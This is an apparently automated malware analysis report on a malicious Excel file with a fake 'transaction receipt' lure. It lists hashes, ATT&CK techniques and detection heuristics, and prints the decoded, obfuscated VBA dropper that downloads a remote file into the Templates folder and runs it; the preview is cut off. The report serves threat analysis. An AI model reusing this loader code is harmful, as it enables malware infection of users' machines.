Office (OLE) malware analysis — malicious · ec094f2965613b38

MALICIOUS

Office (OLE)

75.5 KB Created: 2020-07-09 01:23:23 Authoring application: Microsoft Excel First seen: 2020-09-15

MD5: f01671ac94d1f55044d47cae49633150 SHA-1: 216adc71642235afb5d83386e2bdc42c50dda56e SHA-256: ec094f2965613b3845bbcd1936cdf27773e89e369052c27f4b5f07dd29b6cc62

420 Risk Score

Malware Insights

MITRE ATT&CK

T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample is an Excel document containing obfuscated VBA macros, including a Workbook_Open event, which is a common loader technique. The document body prompts the user to 'enable content' to view a 'transaction receipt', indicating a social engineering lure. Heuristics indicate the VBA code uses WScript.Shell and CreateObject to download and execute a file, likely a second-stage payload. No specific network IOCs were extracted, but the presence of obfuscated VBA and the download-and-execute pattern strongly suggest malicious intent.

Heuristics 13

ClamAV: Xls.Macro.Obfuscation-9804250-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Macro.Obfuscation-9804250-0
VBA macros detected medium 7 related findings OLE_VBA_MACROS

Document contains VBA macro code
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
    Set WshShell = CreateObject("WScript.Shell")
```

VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.

Matched line in script

HJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWH = DEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVB.responseBody

Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER

Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
Matched line in script
```
    Set WshShell = CreateObject("WScript.Shell")
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set WshShell = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Sub Workbook_Open()
```
Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro
Matched line in script
```
Sub Auto_Open()
```
Reference to Windows Script Host high SC_STR_WSCRIPT

Reference to Windows Script Host
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://ns.adobe.com/xap/1.0/ Referenced by macro
- http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
- http://purl.org/dc/elements/1.1/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	17935 bytes
SHA-256: `d3599e08af86ad1025cd6b79f0dc2d19b551ff925d430d0d3ed12726dc2e0c74`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 69 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "Module1" Sub Fkil() End Sub Attribute VB_Name = "YjkILkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Function Khil(burgerorgan, bonusshoot) qoxnwkqnhfshhimr = "" & burgerorgan & "" Dim be4a8c1f30f1abadd648e22b16fdb57d5 As Double be4a8c1f30f1abadd648e22b16fdb57d7 = 742.162 Dim columnwall As Byte columnwall = 414.429 Dim t0ea0a0840384a15e019665b2e996b73f As Long t0ea0a0840384a15e019665b2e996b73f = 464.954 Dim n2b549c2e42dc58d564726b5780212aza As Double n2b549c2e42dc58d564726b5780212aza = 605.115 dhmpmrvyvrxwv = vbNullString Dim m974e3e334b64ac13b6dec997fbabf21f As String m974e3e334b64ac13b6dec997fbabf21f = "naiveremove" Dim b08576ffe41cb67690655f1261f410844 As Byte b08576ffe41cb67690655f1261f410844 = 19.227 Dim z2c55929d38494d4bf3ab6ba3dd16305c As Boolean z2c55929d38494d4bf3ab6ba3dd16305c = 93.904 Dim b9d76f7072ca3da29e82e55579143fba0 As Double b9d76f7072ca3da29e82e55579143fba0 = 108.662 If Not bonusshoot Like qoxnwkqnhfshhimr Then dhmpmrvyvrxwv = burgerorgan Dim kqeepfyakmzwuediw As Double kqeepfyakmzwuediw = 61.491 If kqeepfyakmzwuediw <> 189.252 Then Dim flamesight As Byte flamesight = 212.797 Dim sweartrust As Long sweartrust = 235.981 Dim prqhhqrabc As String prqhhqrabc = "fadzjgdilazu" End If End Function Sub Workbook_Open() Dim MIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDW As Integer MIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDW = Chr(50) + Chr(48) + Chr(48) Dim WshShell As Object Dim SpecialPath As String Set WshShell = CreateObject("WScript.Shell") SpecialPath = WshShell.SpecialFolders("Templates") Dim KTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXG Dim HJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWH Dim FYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQB Dim WOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQO Dim OHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPF Dim CHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJL As Integer Dim DEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVB Dim TGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINX CHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJL = 1 Set DEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVB = CreateObject("microsoft.xmlhttp") Set OHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPF = CreateObject("Shell.Application") WOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQO = SpecialPath + Decrypt("ieZWXW;n„n") DEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVB.Open "get", Decrypt("q~~z}G<<wsvv}wsv~sxyx;oyw< \|szvun<ƒ n=nƒA\|`�b‚aP;n„n"), False DEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVB.send HJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWH = DEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVB.responseBody If DEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVB.Status = 200 Then Set KTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXG = CreateObject("adodb.stream") KTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXG.Open KTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXG.Type = CHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJL KTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXG.Write HJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWH KTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXG.SaveToFile WOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQO, CHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJL + CHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJL KTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXG.Close End If OHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPF.Open (WOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQO) End Sub Sub Auto_Open() descifrar = AppData Run End Sub Function pnIkDDisHp4e1dEwtDO8XRgX() As Currency Call t5IOznwCrl End Function Static Function t5IOznwCrl() As Integer Call Tp62rz6kt90kDRkudpcs1fW7 End Function Function Tp62rz6kt90kDRkudpcs1fW7() As Single Call Jb8AvPk2VR End Function Static Function Jb8AvPk2VR() As Date Call YJW8h3uwBHyE3XYkFXIADNkd End Function Function YJW8h3uwBHyE3XYkFXIADNkd() As Variant Call JxU0xFkI7x End Function Static Function JxU0xFkI7x() As Date Call rzGwrPUM9xS2rvCsRX6OdVek End Function Function rzGwrPUM9xS2rvCsRX6OdVek() As Variant Call hx2errEArb End Function Static Function hx2errEArb() As Double Call DlkYXBK4r3WCbBQoVfs4z78E End Function Function DlkYXBK4r3WCbBQoVfs4z78E() As Single Call FZ4yZPaWVH End Function Public Function Decrypt(SWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDX As String) As String Const TZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQB As String = "abcdefghijklmnopqrstuvwxyz" Const EYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLL As String = "zebrascdfghijklmnopqtuvwxy" Const KNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZ As String = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" Const FWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKI As String = "ZEBRASCDFGHIJKLMNOPQTUVWXY" Dim WXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPS As Long Dim WQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWW As Long Dim QJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXN As String Dim NLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESI As String Dim NhjfopiIp As Byte NhjfopiIp = B780j Dim IlfJMG As Variant IlfJMG = Yhil If SWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDX & "" = "" Then Exit Function For WXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPS = 1 To Len(SWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDX) QJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXN = QJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXN & Chr(Asc(Mid(SWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDX, WXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPS, 1)) - 13) Next For WXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPS = 1 To Len(QJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXN) NLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESI = Mid(QJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXN, WXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPS, 1) Select Case Asc(NLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESI) Case 65 To 90 For WQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWW = 1 To Len(FWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKI) If Mid(FWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKI, WQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWW, 1) = NLRZHRLQCZOPFPSWQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESI Then GoTo USub Next USub: Decrypt = Decrypt & Mid(KNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZ, WQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWW, 1) Case 97 To 122 For WQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWW = 1 To Len(EYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLL) If Mid(EYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWWQJWIOVMUOPDWVSCZLWJMKPRYJKOTRGNWHQOJYDDDFXTXMTSBDEZMTQIZBLYCINXFYRFQPEUDVXLXEBKITFRNLRZHRLQCZOPFPSWQHLL, WQHLLKNYCGUCBJLMIUCYQHJSHJQOGNZZNRXMVLXGTGMJSKVNSVTYIPSTYKIWXNQBEYPMNMOHKOWKJRMNJVKZYPKUPLRWOOIIVZGUETGOUONKTSDVBECHQQBCHSJXGVYIMHWUUUWPLPFRKSUVRESIZXSDXTZFWW, 1) = 